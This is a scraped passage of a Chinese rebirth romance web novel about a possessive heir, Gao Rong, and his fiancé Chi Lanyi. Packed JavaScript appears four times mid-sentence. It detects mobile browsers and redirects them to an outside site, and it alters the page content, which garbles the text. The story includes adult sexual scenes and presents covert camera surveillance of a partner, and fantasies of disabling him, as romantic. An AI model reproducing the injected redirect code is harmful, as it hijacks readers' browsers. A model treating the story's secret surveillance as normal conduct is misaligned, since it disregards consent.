高嵘的下一句话更让他摸不着头脑了:“是你……” 那声音像是从牙缝里发出来的。 池兰倚的手指动了动。高嵘迅速低头看向池兰倚。 就在这时,保安们开始疏散人群了。 “请让让,请让让……” 华晏还想知道池兰倚现在怎么样了。可他也在被疏散的人群里。他在心急如焚的同时,又因为高嵘方才那莫名其妙的一眼有些发憷。 他什么时候狠狠得罪高嵘了? 管家和侍者在为招待不周向宾客们道歉。经纪人卫邈就在这时摸到了华晏身边:“兄弟,你没事吧?” “没事。只是担心池兰倚会不会有事。好好的,他怎么就晕倒了?”华晏说。 卫邈眼神闪了闪。他瞥了一眼也从房间里出来的许幽,又瞥了一眼还对情况不明所以的乔涟。 乔涟只知道自己在国内得到了一个好机会。许幽也只知道乔泽和池兰倚有说不清道不明的关系,而乔泽的姐姐刚好回国。 于是她们现在,只是在为突发的事件而震惊担忧。 而卫邈……他知道更多。 “晚宴要结束了。没机会看见池兰倚了,他们不准我上去。”华晏又一次从楼梯那里回来,无奈地耸了耸肩,“高家的规矩真是森严,不过我总觉得,他们好像对我有敌意似的。” 他拍了拍卫邈的肩:“走吧!看来今天这里没事可干了。我总有下次遇见他的机会。希望他身体健康。” “下次?你还来?”卫邈一脸震惊。 “我改变主意了——我要留在A城。半年?或者一年?你替我找下房子吧。”华晏笑嘻嘻的。 回程的轿车上,他把座椅完全放下,身体摊得很舒展:“多亏了你邀请我来A城,这里果然比B城有意思多了。” “你少干些让家里担心的事就谢天谢地了……” 卫邈开车走过黑暗的高速路。他嘴上这样说着,眼里,却暗暗地藏下了几分复杂。 漫长的高速路,许多辆轿车亮着车灯,依次行驶着。道路终端,大桥的彼岸,是灯火通明的城市。 没有人会在这里注意到一个小小的、身世不详的经纪人。 …… “没有明显问题?” “患者之前,有没有出现过相关病症?” “……会不会,和那些有关。” 医生看向高嵘,这个不可一世的男人此刻脸上竟然流露出了几分复杂的懊悔。他咬着牙关,攥着拳头,像是在痛恨自己做错了某件事。 “高先生?那是什么?”医生问。 她没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740812|156942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得到回答。 在继续检查时,她听见高嵘说:“早知道,就不……” 医生停了停手,可高嵘再也没说下去。 检查还在继续。高嵘坐在池兰倚身侧,沉默许久后,他的眼眸变得森冷,缓缓转向一个方向。 那是方才华晏所在的方向。 秘书气喘吁吁,匆匆赶到。高嵘站起来,走向她。 “我要一个人滚出A城。”他冷冷地说,“用任何手段。” 能把生意做得这么大,私底下各种手段自然是少不了的。秘书闻言站直了身体,低声道:“好的,这个人是谁?” 她想这个人一定是个有手段的、影响到了公司的人。 高嵘正欲开口,房间里却传来了医生的声音:“他好像在说话,他在说什么?” 高嵘赶到池兰倚身边。他以为池兰倚在喊疼或者说身体的什么问题,以一种近乎“扑”的姿态,焦急地低下头,去听池兰倚在说什么。 站在门外的许幽再次被自己的这次所见而震惊了。她眼神闪烁,心绪不宁。 池兰倚的声音非常小,只有贴在他身上的高嵘能听见声音。但即使如此,那几句话,依旧清晰地传进了高嵘的耳朵里。 高嵘定住了。 他如不可置信般,又低下头去听。 而后,他久久没有动。 见此情景,第一名医生连忙询问道:“池先生说了什么吗?” 下一刻,他因为看见高嵘的神色而愣住了。 高嵘坐在那里,贴在池兰倚唇边。他怔怔地在那里,脸上一片空白,像是听见了什么让他难以置信的话。 霎时间,他猛然坐起。 高嵘看向池兰倚的脸,死死咬着牙,如遭雷击。他的脸上有千般情绪、万种神色,最终化为了一种极为复杂的死寂。 那死寂却非完全的死,而像是燃烧后的灰烬,一团黑色的漆黑的壳。只需要用柴火掰开一点,就会看见里面金红的火焰,仍在沉沉地、滚烫地燃烧。 秘书还等在门外。她听见医生说池兰倚大概没事,现在是睡着了。而后,她看见高嵘步履匆匆,又走出了房间。 “高总?”她试探着问。 高嵘站在她身前。可他没有看她,眼眸只是看着某一个地方。秘书悄悄去瞥,她看见那里什么都没有,只有夜色和一片被乌云遮住了的月亮。 “不用去赶走那个人。”高嵘说,“我想做个实验。” 高嵘没有再解释的意思。 “是。”秘书连忙说。她知道高嵘一定有自己的想法。 秘书离开。走廊上只剩下高嵘一个人。 他却没有回到房间里去,而是沉默着、沉默着。 许久之后,他将手放到大衣兜里。 拿出了一枚手机。 手机屏幕明了又暗。就在这时,里面有人说:“高先生,池先生好像要醒了。” 9.苏醒 “……没有明显问题,但还是建议……去医院检查。” 门外传来医生和高嵘讨论的声音。 池兰倚在天旋地转中睁开了眼。 出现在眼前的是浅色墙纸和铃兰形状的吊灯。他在一片心悸中如噩梦初醒,大口大口地喘着气。 “池先生醒了!”守在他身边的女仆跑了出去。 池兰倚坐起来时发现自己的手正掐在自己的锁骨下。他的手太用力,苍白的皮肤也被掐住一片红痕来,狰狞可怖。 他好像刚才做了一个非常可怕的梦……可潜意识竖起壁垒,把所有的信息都忘得干干净净。 就在这时,高嵘迅速地推门进来了。 “……高嵘?”池兰倚看向他,愣了愣,“你的手怎么了。” 高嵘的手臂包扎着纱布。 但高嵘没有回答他。 高嵘来得很快。就在听见池兰倚醒来的第一时间,他便推开了门,进入室内。 可在看见床上的池兰倚后……他没有说话。 他看着池兰倚,带着一种微妙的、沉默的神情。他闭着嘴,却如在张口般欲言又止。他看着他,眼里却不只有平日里的爱意。 那是一种过于复杂的……好似不需要点燃,只需要用指尖一碰,就会玉石俱焚的感情。 于是一种微妙的慌张,也渐渐在池兰倚心中浮起。 没来由,就像他潜意识里,其实知道高嵘露出这种神情的原因。 “怎么了?你怎么站在那里不说话。”池兰倚掀开被子,左右张望,“这里是湖边庄园的一个卧室里?我刚刚晕倒了吗?” 他从床上跳下来,明明赤着脚,却满不在乎地踩上柔软的地毯,脚趾在繁复花纹里东奔西走:“我刚刚问你手是不是受伤了,你怎么一句话也不说?我刚刚听见门外你和医生在说话……你手的受伤和我有关系么?” “兰倚。” 池兰倚脚下停了一下。高嵘顿了一下,淡淡地说:“前面地上,有个插头。” 池兰倚低头一看,那无主的插头就横在他脚前的位置。 按他方才的样子再走一步,他的脚就会踩到那尖锐的金属上。 “哦。”池兰倚收回了脚。 池兰倚有一种感觉:虽然他平日里也总是在工作室里随意地东奔西走,可刚才,他是故意要踩到那个尖锐的插头上的。 是潜意识让他这么做的。 因为高嵘一定会因此打破沉默,提醒他这件事。 “我的手没事,只是一点擦伤。”高嵘继续说,“你刚刚在下楼时昏倒,从楼梯上摔下来了。” 就描述一件意外事件而言,高嵘有点太平静了。 “昏倒……”池兰倚努力回忆,“我记得宴会太吵了,我到二楼去透透气。下楼时……我的头很痛。” 在头痛之前,他还产生了幻觉。但池兰倚不想把这件事告诉高嵘。 “然后我就什么都不知道了。”池兰倚说。 高嵘看着他看了更久、更久。他审视着池兰倚。 从因为瘦而显得格外大的眼睛,到养尊处优的苍白皮肤。 再到那双纤长的、骨节分明的手。 就是这样的一个人,一个瘦弱的青年、或者少年。他腹部扁平,缺乏腹肌,屁/股也因为挑剔的饮食称不上翘,臀和腰用手就能握住,只有腿长这一点很有吸引力,就像是一个因为遗传基因而幸运的个子很高、却因为不爱吃饭而发育得不好的、会满街游荡、或者找个角落恹恹地看书的青少年。 很难被大众视为性/感的身材,只有一些有着超常癖好、掌控欲倾向过度的人会欣赏这种看起来很容易就能□□/死的纸片身体。 然而,在这具身体里,却有一个超乎寻常的,聪明敏/感、骄傲又自我怀疑、却固执己见的大脑。 这样敏/感的人对于异常,真的一点感觉都没有吗? 高嵘最终将目光落在池兰倚光/裸的脚上。那双修长的脚踩在人来人往的地毯里。 就像它的主人——不计后果,随心所欲。 “先把拖鞋穿上吧。” “哦。” 池兰倚坐在房间里的小沙发上。高嵘让女仆把一双新的拖鞋拿进来。 女仆把拖鞋放在池兰倚脚边。高嵘移开目光,听见池兰倚说:“你的手是不是很疼?” 他坐在沙发上,眼睛很大。如今裹着白色的毯子,下巴被遮住,那双眼睛就显得更大了。 他看着高嵘,好像很担心。 像是有闷闷的雨点在玻璃窗外凝聚。高嵘听见自己幽幽地叹了口气。 仿佛窗边升起了列车行驶排出的白雾。轨道漫长,尽头是黑暗的密林。 “把鞋穿上吧。” “我自己来吧。” 高嵘手还伤着,池兰倚怎么能让他帮忙。池兰倚慌慌张张地穿拖鞋。明明是把脚放进去那么简单的一件事,此刻他竟然一下子没穿进去,还把拖鞋踢到了旁边。 他用脚尖把拖鞋勾了回来,因为自己的笨拙有点心虚,低头瞥见高嵘在看着他,又觉得有些安心。 抬头时,高嵘却在看着窗外。 “池兰倚,下雨了。” 可外面没有下雨。池兰倚往外面看,只看见树影沙沙。 “宴会结束了吗?”池兰倚问。 “结束了。”高嵘拉上窗帘。 “哦,那就好。”池兰倚这话堪称没心没肺了,“我不用再下楼去了。” 池兰倚不会有卑微的、因为自己的昏倒而毁掉高嵘母亲生日宴的自觉。而且,他不喜欢高嵘的几个家人,自然不会因为自己不喜欢的人的感受或看法而难受。 池兰倚非常自我,只会看向他认可的人。 他端着热水小口小口地喝,双腿自然地交叉着,脚尖翘着摇来摇去,放松又随性。 好似这陌生的湖边庄园的房间,因他的到来,因室内只有他和高嵘,就变成了他的个人私产。 高嵘坐在他对面,眼眸微垂。 “现在还头疼么?” “没有,已经完全好了。”池兰倚指了指茶杯,“等喝完这杯茶,我还能精力十足地和你去找你的父母亲戚——你打算带我和他们说点什么,对吧?” 他精力充沛,活力十足。高嵘却道:“我给你预约了一个检查。” 池兰倚停下喝水:“什么检查?” “脑部的,关于你头疼的问题。就在后天,一个全面的检查。”高嵘说,“我预约了最好的医生。” 池兰倚静了一下。 不能让高嵘知道,他产生了那些幻觉…… 那种反对感,强烈得不可思议。 在这个想法莫名出现的同时,他反抗起来:“我后天晚上有聚会。” “我们可以检查结束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756602|156942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一起去。” “我已经不疼了。而且以前我没有这个问题。”池兰倚固执己见。 “所以突然出现问题了,才格外严重。” “……”池兰倚的脸色阴了下来,“我不想去,我讨厌医院。” 他表现得像个无理取闹的小孩。 “池兰倚。”高嵘慢慢地说,“你究竟是不想去,还是不敢去?” 他定定地看着池兰倚,漆黑的眼眸像是在燃烧。 “你在害怕检查出什么吗?” “我……”池兰倚嘴巴发干。 心跳得很快。 他把杯子重重地放在了茶几上,脸以肉眼可见的速度变红:“我就是不想去又怎么了!你明明知道,我很讨厌医院。你明明知道我爸妈把我送到那里去,我……” 他的声音里多了一点哽咽。在这声哽咽之前,高嵘一直静静地看着他。 直到这时,高嵘抱住了他的脑袋。 “没事了,已经没事了。” 池兰倚不说话了。他让自己像个受害者一样埋在对方的怀里,好把他刻意避免去医院这件事非常合理。 甚至,他连第二声哽咽都懒得再装了。 “池兰倚,对不起。”可高嵘抱着他,忽然说了一句,“你摔下来这件事,对不起。” “你在为你没有及时到二楼陪我这件事道歉吗。”池兰倚懒洋洋地说,“我原谅你了。” “不,不是。”高嵘说,“还有别的。” 池兰倚从他的怀抱里抽出脑袋来。他疑惑地看着高嵘,高嵘却一把伸手,用有力的左手抓住了他的左手。 高嵘的手心潮潮的。他抓得很紧,把池兰倚的骨头都弄痛了。 “高嵘……” 高嵘突如其来的霸道让池兰倚猝不及防。他放开池兰倚的手,又抓住池兰倚的下巴,开始玩命地吻他。下雨的感觉从交握的手心里转移到了唇/齿间。 高嵘的表现好像他下一刻就会消失一样。 “……!” 一直以来,在亲密相处时,高嵘都有点进攻过度的倾向,和他在旁人面前表现出的绅士面貌截然不同。池兰倚逐渐习惯了接受这点。 但今天,高嵘的攻击性有点太强了。强到让池兰倚难以忍受。 风吹开了窗帘,哗啦啦地响。池兰倚终于在亲吻之间有了一次呼吸的空间。 池兰倚靠在沙发上喘气。他柔软顺滑的头发全乱了,嘴/唇湿润润地肿起,腰间的毛衣被乱糟糟地撩起来,露出苍白干扁的腹部。 而在那织细的腰间,几个手印红得鲜明。刚刚亲/吻时高嵘的手就这样一直往上捏。 “你发什么疯?”他质问高嵘。 窗外的确没有下雨。 雨只是再度落下了,就在他们之间。 高嵘盯着那手印,眼神暗了暗。 他把手又盖了上去。 池兰倚皮肤细腻,却在打颤。他太薄了,整个人,整个腰,都是。好像往下稍微用力按一按,就能隔着皮肤,按到他的内脏。 池兰倚喘着气,只是不高兴,他低着眼看高嵘。 他的眼睛湿淋淋的,像是下过雨的草地。 高嵘的影子躺在那片草地里。 “池兰倚。”高嵘忽然说,“你在什么样的情况下,会为了我哭?” “或者……你有没有为了我哭过?” 10.恨 池兰倚一怔。 高嵘这句话……太奇怪了。 高嵘压在他的身上,看着他。那双眼睛沉重专注,不似活人。 而似一只执着人间、久久不去的亡灵。 宁要剥皮拆骨,也要从他的骨骼血肉里挖出一个答案。 “什么意思?” “如果我死了,你会为我流泪吗?” 高嵘说着好似情人间调情的话。 可他面无表情。 他手掌用力,就像他触碰的不是池兰倚的小腹,而是只要更用力一点,也能触碰到池兰倚的血肉、池兰倚的骨骼、乃至于池兰倚的心。 他能握住他的手指,可他能从他指尖薄荷味的香气,判断出来池兰倚今天晚上去见了谁吗? 他能听见他的心跳,可他能从那规律不一的节奏中,听见池兰倚明天的脚步,又将走向哪条街道吗? 他能抚摸他的皮肤,可他能从这具曾使年少的他一见钟情、蹉跎一生的美艳皮囊、红粉骷髅之下,看见他那始终和他唱着反调、永远也不肯将自己完全交托给他的灵魂吗? 高傲的、冷漠的、敏感的、自由的…… 池兰倚眼眸惶惶的。他还在看高嵘,就像他根本不知道高嵘为什么这样对待他似的。浓密的睫毛如蝴蝶翅膀般在池兰倚的眼上颤动,他看起来那样清澈又可怜。 看啊。高嵘面无表情地想。直到现在,池兰倚还在装什么都没有发生过。 池兰倚在假装他什么都没想起来,他在装自己没有一段和高嵘重叠的、却来自上一世的过往。 池兰倚还在装,他想假装,他自己根本没有重生。 “好痛……你发什么神经?!”池兰倚猛然把高嵘一把推开,他突如其来的爆发让高嵘暂时远离了他的身体,而后,他又毫不客气地用膝盖踹了他一脚,“今天晚上,你带我来我不想来的宴会。我昏倒了,好不容易刚醒来,你又拿这种无聊的东西问我……” 他咬着牙,眼里都是不客气的冷光:“你什么表情?好像我得罪了你一样。” 高嵘一下被他踹翻到另一边。如果方才宴会厅里的人能看到现在这一幕,一定会惊诧于高嵘也会被人差点踹下沙发。 高嵘低着头,用手去抚摸被池兰倚踹过的腰侧。 不怎么疼,但大概也会青一块。 他抚摸那里,尽管膝盖冲击的触感很快就消失了。 “你先莫名其妙欺负我,我不会和你道歉的。”池兰倚睁着大眼睛说,气息不稳,好似色厉内荏,“除非你因为这一下进医院了。” 池兰倚虽然瘦高,但到底是一名成年男性。 高嵘想。 池兰倚可以踢开他。 只有池兰倚变成一个废物,只有池兰倚不能自理,他才能安心地、平和地、不需要猜忌任何东西地抱着他。 他会握住池兰倚难/耐地抓着床单的手指,贴在池兰倚气喘吁吁的胸口聆听他的心跳,亲吻他的每一寸皮肤。 “……”池兰倚蹙着眉头,紧紧抿着唇,他靠在沙发上,不肯起来查看,可他嘴里终于说,“不会真的把你踢坏了吧……” “那也是你自找的。你要找医生过来一趟吗?医生今天晚上真是忙……” 池兰倚翻身想从沙发上下来。他想把自己的长腿从毯子里拔出来。 抽了一下,没出来。 他低头去看。顺着大腿的线条往下,一截光滑的小腿陷在柔软的白色毛毯里。 小腿的末端,被一只有力的大手握着。 连同白皙的脚/踝。 池兰倚有点意外。在高嵘的手指顺着小腿爬上来前,他目光微动:“今晚不打算谈那场重头戏了吗?” 高嵘的手指已经爬上了他的膝盖。男人哑着嗓子说:“让他们等。” 池兰倚笑了起来。这是今晚第一件让他觉得好玩的事。他不喜欢高家的人,这些人,高嵘的长辈却要在外面等他们做/爱几个小时,这让他有点乐不可支。 而高嵘竟然会和他做这样荒唐的事——看着高嵘身上的西装,他有种带坏优等生的隐秘快乐。 ——而且,还是一名比他年长的优等生。 “是吗?”他没心没肺地说,“你要他们等多久?一个小时?半个小时?” 他屈起膝盖去蹭高嵘。在男人的眼里,他看见了高嵘对他的渴望。 执着、渴求、纵容。没有谁能如他一般,将这些情绪看得清清楚楚。 于是方才的不悦都烟消云散了。 “一个晚上。”高嵘说。 他用力地将池兰倚扯向自己。 在高嵘抓住他的腰前,在欲/望即将被点燃时,池兰倚忽然狠狠抓住了高嵘的领带。他坐到他的身上,居高临下地看着他。 “先道歉。”池兰倚说着,俯下身体,“你刚刚对我发神经,还没有对我道歉。” 高嵘定定地看着他。 池兰倚的头发就这样一下下地刮着高嵘的脸。 而池兰倚的表情——得意的,骄傲的,似笑非笑的,像一只懒洋洋的、还要踩在人的头顶上的猫那样的。 高嵘抓住他的手腕,吻他的手心。 “池兰倚,别太得意了。”高嵘说。 “嗤。”池兰倚不耐烦地笑了,“我还以为你想干什么……搞快点,别磨蹭。” 积蓄了一个晚上的雨终于落了下来。 庄园里风雨大作,吹开了窗户。巨大的窗帘如女鬼的裙摆,在风中激烈地摆动。 高嵘用力抓着池兰倚的肩膀。 只有他躺在自己的怀里,只有他无处可去。 只有他无枝可依,只有他离开他什么都做不到时。 ——他对他极致汹涌的情绪才能平息。 ——而他,也终于能做回他自己。 风雨渐渐平息时,池兰倚靠在沙发上疲惫地睡去。他看起来有些太过于满足了,苍白的脸上也染上酡红。乱糟糟的头发和衣服让他看上去完全不像白日出现在旁人面前的池兰倚。 他的一条腿还挂在高嵘身上,懒得放下来。高嵘应该帮他把腿放下来的。 可高嵘躺在那里,靠在池兰倚身边。他垂着眼眸,像是贪恋池兰倚身上的温度,不肯放开这一点的肌/肤相亲。 即使这具他所拥抱着的躯体的主人已经睡着了。即使是他渴求的、池兰倚的灵魂也正陷入沉睡。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766315|156942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 池兰倚或许会做一些多彩的、绚丽的梦境。有时池兰倚会半夜醒来,任性地推醒高嵘,让他帮自己记下自己的梦境。 一时间,在细密的雨声里,高嵘有些分不清这是前世还是今生发生的事。 他抱着池兰倚的身体,还是没有直接接触他的灵魂。 少顷。 高嵘拨开了一点黏在池兰倚脸上的、遮住他眼眸的湿发。 管家和仆人们还在门外等待高嵘给予新的指令。这个拥有庄园里的一切的男人却把脸埋在了池兰倚的肩膀上。 “别想骗我。”他想。 他闭上眼,如暂时拥有了一切般抱着池兰倚,沉沉地睡着了。 …… “昨天晚上怎么样,听说你晕倒了。全城的人都知道你的健康情况不理想。” 发信人是方衡,池兰倚的大学同窗,和他有双子星之称。两人时而是好友,时而是宿敌,关系冷冷热热、分分合合。 真没想到他比巫樾还要关心池兰倚的健康状况。池兰倚躺在床上,果断回复了一条最能让他不爽的话:“和高嵘睡了一个晚上,神清气爽。” 说来也神奇。无论是在池兰倚和方衡的关系好还是不好时,方衡都极其讨厌高嵘。 也很讨厌池兰倚和他在一起。 池兰倚在床上翻了个身。就这一下的功夫,他的手机又震动起来。 方衡的回信已经发过来了,秒回,就像他一直在看手机等池兰倚发消息一样。 “……” 回得这么快,结果就只是一串省略号。 池兰倚早就预料到对方会回这条信息。他心情极好,觉得对方准是在羡慕他的感情生活。 他终于从床上坐起来。旁边的位置还残留着高嵘的凹陷,高嵘本人却不在他身边——这有点出乎池兰倚的预料。 而且,更出乎他意料的事情来了。 “高嵘没有给我准备好今天要穿的衣服吗?”他裸脚踩在地毯上,东走西走,“那我怎么办?” 他昨天的衣服经过了一夜的荒唐,当然是没办法穿了。高嵘让人把它们收走,是理所当然的。 可房间的显眼处竟然没有用来换洗的新衣服。床头柜上没有,沙发上也没有。 高嵘怎么会犯这样的错误?要知道,现在除了一件睡衣,和一条内裤,他什么都没穿。 而且睡衣也只有上身的。 池兰倚已经在床上等了半个小时了。他试着打高嵘的电话,高嵘也没有接。 就在这时,他的手机又震了震。 是方衡的第二条回信。 “什么时候被高嵘玩死了,你都察觉不到。” 池兰倚皱眉。他疑惑地看着这条回信。 池兰倚不知道,就在他的头顶上的铃兰吊灯里,有一只新装上去的针孔摄像头,正在寂静地看着他。 摄像头的另一端,高嵘抱着手,冷冷地看着屏幕中的池兰倚。 其余所有人早就被赶出了这间监控室。只有高嵘一个人,在这冒着冷光的、阴暗的房间里静静地看着他的情人、他的未婚夫。 “池兰倚,我不会给你再装下去的机会了。”他这样想着。 11.以为憋了个大的 监控中的池兰倚还在无知无觉地在房间里转悠。他拉开衣柜门,想要找到一件可以穿的衣服。 高嵘拉了一把椅子坐下,他双手交叉,放在桌子上,以支撑自己的下巴。 在最靠里的衣柜里,有一套衣服。它很廉价,是刚毕业的大学生也能买得起的。灰色大衣,黑色毛衣,简单的裤子。不太可能会出现在高嵘家的衣柜里,也不太可能出现在池兰倚的身上——因为毛衣里有化纤,静电很大。 池兰倚不知怎的,很容易在秋天起静电,每次穿脱毛衣都容易浑身噼里啪啦作响。高嵘觉得自己只是不喜欢听池兰倚被静电打到时的“啊”声,他做主把池兰倚所有材质不合格的贴身衣服都换掉了。 尽管如此,这套衣服依旧很特别。 高嵘看着监控里的池兰倚,这样想着。 这身衣服未曾在他们今世的人生中出现过,而在前世,它是池兰倚和他初遇时所穿的。 高嵘眼神微动。 现在回想起来,那已经是很久之前的事了。 如今的池兰倚双腿光洁如玉,脚底柔软,没有因东奔西走崴到脚留下的暗伤。 也没有因为站在门外,等待一个投资人而腿埋在雪里,留下一腿的乌青。 但上一世,不是这样的。 …… 高嵘很早就注意到了这个站在门外的青年。他穿着合体的灰色大衣,头发乱糟糟的,站在雪里。 雪不住地往他的手上飘。青年于是低着头,不断往手上哈气。 他有一双很漂亮的手,骨节分明。 ——很适合做手活。 在过去的二十几年人生里,高嵘不是个控制不住自己的欲/望的人。相反,他非常绅士,眼光很高,对人兴趣淡泊。 但这一刻,对待这个青年,他忽然有了这样冒犯的想法。 除此之外,他注意到青年的鼻头很红,放在青年那苍白的脸上更加明显——这似乎是出于某种感冒,但看起来像是青年刚哭过一样。 高嵘不着痕迹地收回了自己的目光。他走在父亲的秘书旁,很擅长把表情变回一个欲/望淡薄、彬彬有礼的绅士。 他像不经意一样地询问:“门外的那个人是来干什么的?” “是来找您父亲的,寻求投资,第三次了吧。估计很快就要死心离开了。” 为什么? “谁会把钱投给一个从学校退学,进过精神病院,和家里断绝关系还和朋友闹翻的设计师呢。”秘书耸肩。 高嵘坐在飘雪的窗边,往外看那个青年。他听秘书讲过这名青年的斑斑劣迹,和那名青年执着地、向他父亲寻求投资的事迹。青年想要拿到投资就像溺水鬼想抓到救命稻草一样。 从外表上看,青年不像这么偏执或刚硬的人。 “老爷对拿钱打水漂没兴趣。”秘书做出总结。 青年个子瘦高。因为是从楼上窗户俯视,高嵘看不清青年的五官,但对方的脸型和鼻子的轮廓,长得非常合他心意。 青年的腿也很直。 “我打算用一笔钱发展一些兴趣。”高嵘如闲聊般道。 “比如投资一个足球队之类的吗?”秘书开玩笑。 当然不是。高嵘只是微笑。他对楼下那个青年的事业是什么,也一点兴趣都没有。青年可以是设计师,还可以是卖画的,或者是卖医疗设备的,谁在乎呢。至少他这个坐在父辈的荫庇上,轻轻松松就能干出杰出成就的二代并不在乎。 但他对青年感兴趣,各方面的兴趣。 他在离开这栋小楼时又走到青年的身边,验了验这份兴趣的成色。秘书说距离青年刚站在这里已经过了三个小时了。青年一直在这里等,等待高嵘的父亲下班,再把手里的策划案递给高嵘的父亲。 世界上有很多想要获得高嵘父亲的钱的创业者,但没有一个冻得像青年一样好似一只雪人。比如此刻,直到高嵘撑着伞站在他旁边有一会儿了后,青年才发出一声“嗯”,迟钝地把脑袋抬起来。 高嵘发现,自己这份兴趣的成色真的很不错。 青年有一双很大的、很漂亮的眼睛。虽然青年的鼻子已经红了,那双眼睛也迷迷瞪瞪的,却没有在哭。 高嵘想把青年这双眼睛弄哭,看泪水泛上去、瞳孔彻底失神的模样。 高嵘温和地请对方去附近的咖啡厅聊聊。青年大概是被冻得有点僵了,他什么都没听懂似的,摇了摇头。 “我父亲对你的项目不感兴趣。不过很巧,我在他的邮箱里看见了你的文件,对它们有些兴趣。”高嵘信口道,“方便聊聊吗?” 青年终于听懂了。 他钝钝地点点头,嘴里却没和高嵘说话——譬如像一些终于能弄到钱的被投资人一样,因为自己的方案被看中而感激涕零,满口“大哥”“老板”。高嵘只以为,青年是被冻僵了,所以说不出来话,对此不以为意。 高嵘站得端正,眼睛却放肆地打量着对方的身体——尤其是对方试图把自己从雪地里拔出、却尴尬地滑了一跤的时候。 “谢谢你。”青年匆忙地说。 高嵘在青年失足时扶了他一下,青年身体还没来得及恢复平衡,就迅速地把他的手甩开了——青年好像对身体接触十分敏/感。 “没关系。”高嵘对他露出一个有点距离感的完美笑容。 很符合一个投资者对投资人的状态。 在带着青年在咖啡馆的包厢里坐下,点了两杯咖啡后,高嵘看着对面局促的青年,忽然说:“你的鞋袜都湿了,应该不太舒服吧?” 青年的脸红了,他有些急切地说:“没关系的,先生。我想和您讲讲我的方案……” 高嵘看着他,心想这个青年究竟是不谙世事,还是寻求资金的心情太急,以至于发觉这句试探里的暧昧。 “冬天穿着湿衣服会加重感冒。这附近有家鞋店,我让司机去给你买双鞋。”高嵘颇为贴心地说,“当然,你现在想要先脱掉它们,我也不介意。” 青年终究还是等到了高嵘司机送来新鞋,才开始更换。在他低身脱掉鞋袜时,高嵘放肆地打量他的脚踝。 在青年穿好新鞋,对高嵘说“谢谢”时,高嵘又恢复了他风度翩翩的绅士模样。 青年说,他叫池兰倚。他看上去情绪和精神都不怎么稳定。在向高嵘简单介绍自己的计划时,他拿着稿子,竟然还结结巴巴,在不少语段上打磕巴,让人怀疑他究竟原本打算用什么打动投资人。 还好,高嵘也并不在意池兰倚究竟在说什么。 他只是看着对方一张一合的嘴唇。因为喝了咖啡,在温暖的室内,优美的唇形渐渐显现出几分红润来,像是欲滴的樱桃糖浆。他也不在意池兰倚想要多少钱,几十万,几百万?无所谓,这对于他来说,只是一架游艇、一辆车,仅此而已。 “这些是我的作品。”在意识回归时,高嵘听见池兰倚说,在说到作品时,池兰倚忽然语速流畅了起来,“你可以看看……” 但高嵘收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774740|156942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了他父亲的信息。 “不好意思,我临时有些重要的事。”高嵘对池兰倚抱歉地笑,自以为这笑容很礼贤下士,“但你的方案听起来不错。或许,我们可以再约个时间,详细谈谈——你明天有时间吗?” “哦。”池兰倚说,“有。” 他用手把自己的资料收了回去。 高嵘觉得很奇怪。对于第二次的详谈邀请,池兰倚竟然表现得不冷不热的、甚至还没有刚才池兰倚拿出作品时的态度热切。一般见到成功在望的人都不该是这个反应。 甚至,在结束告别时,池兰倚显得还有些冷淡。他客气地对高嵘点点头,转身撑着高嵘送的伞,走进雪中。 高嵘在咖啡桌前若有所思,却也没有思考太久。对于他来说,想要得到一个人太容易了——尤其,池兰倚还有求于他。 这让他安心了。 直到他起身准备离开时,才发现池兰倚不知道什么时候又把鞋子换了回来——池兰倚穿着那双湿鞋离开了。 高嵘给他买的那双鞋,被留在了桌下,却又不像是礼貌的不好意思接受。 它们被随便地扔在地上,东倒西歪。 “要把它们扔掉么?”司机询问高嵘。 高嵘看向街角,池兰倚已经消失了。那一刻,高嵘有点奇怪的感觉。 “带上吧。”他说了一句他本不会说的话。 直到那天那时,他都认为自己胜券在握。 高嵘觉得池兰倚给自己留下极其深刻的印象,以至于兜兜转转,过了一世,他还是如此清晰地记得池兰倚因为陷入人生的最潦倒,而穿的那一身最廉价的衣服。 直到后来他才知道,池兰倚对他也是印象深刻。 但——似乎和他希望的那种不一样。 …… 